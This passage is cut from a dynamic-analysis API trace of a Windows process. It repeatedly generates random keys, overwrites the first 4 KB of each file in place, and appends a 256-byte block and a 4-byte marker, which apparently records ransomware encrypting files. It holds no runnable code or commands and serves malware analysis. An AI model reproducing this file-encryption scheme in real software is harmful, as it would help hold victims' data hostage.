(HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.072] GetProcessHeap () returned 0x540000 [0089.072] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.073] GetProcessHeap () returned 0x540000 [0089.073] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.073] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.073] WriteFile (in: hFile=0x9e0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.074] WriteFile (in: hFile=0x9e0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.074] GetProcessHeap () returned 0x540000 [0089.074] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.074] GetProcessHeap () returned 0x540000 [0089.074] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.074] GetProcessHeap () returned 0x540000 [0089.074] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.074] CloseHandle (hObject=0x9e0) returned 1 [0089.075] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 154 [0089.076] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.076] ReadFile (in: hFile=0x9e4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.076] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.076] GetProcessHeap () returned 0x540000 [0089.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.076] GetProcessHeap () returned 0x540000 [0089.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.076] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.076] GetProcessHeap () returned 0x540000 [0089.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.076] ReadFile (in: hFile=0x9e4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.133] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.133] WriteFile (in: hFile=0x9e4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.134] GetProcessHeap () returned 0x540000 [0089.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.134] GetProcessHeap () returned 0x540000 [0089.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.134] GetProcessHeap () returned 0x540000 [0089.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.134] GetProcessHeap () returned 0x540000 [0089.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.134] GetProcessHeap () returned 0x540000 [0089.134] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.135] GetProcessHeap () returned 0x540000 [0089.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.136] GetProcessHeap () returned 0x540000 [0089.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.136] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.137] GetProcessHeap () returned 0x540000 [0089.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.138] GetProcessHeap () returned 0x540000 [0089.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.139] GetProcessHeap () returned 0x540000 [0089.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.139] GetProcessHeap () returned 0x540000 [0089.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.139] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.139] WriteFile (in: hFile=0x9e4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.139] WriteFile (in: hFile=0x9e4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.139] GetProcessHeap () returned 0x540000 [0089.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.139] GetProcessHeap () returned 0x540000 [0089.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.139] GetProcessHeap () returned 0x540000 [0089.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.139] CloseHandle (hObject=0x9e4) returned 1 [0089.141] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 155 [0089.141] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.141] ReadFile (in: hFile=0x9e8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.141] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.141] GetProcessHeap () returned 0x540000 [0089.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.141] GetProcessHeap () returned 0x540000 [0089.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.141] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.141] GetProcessHeap () returned 0x540000 [0089.141] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.141] ReadFile (in: hFile=0x9e8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.196] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.196] WriteFile (in: hFile=0x9e8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.196] GetProcessHeap () returned 0x540000 [0089.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.196] GetProcessHeap () returned 0x540000 [0089.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.196] GetProcessHeap () returned 0x540000 [0089.197] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.197] GetProcessHeap () returned 0x540000 [0089.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.198] GetProcessHeap () returned 0x540000 [0089.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 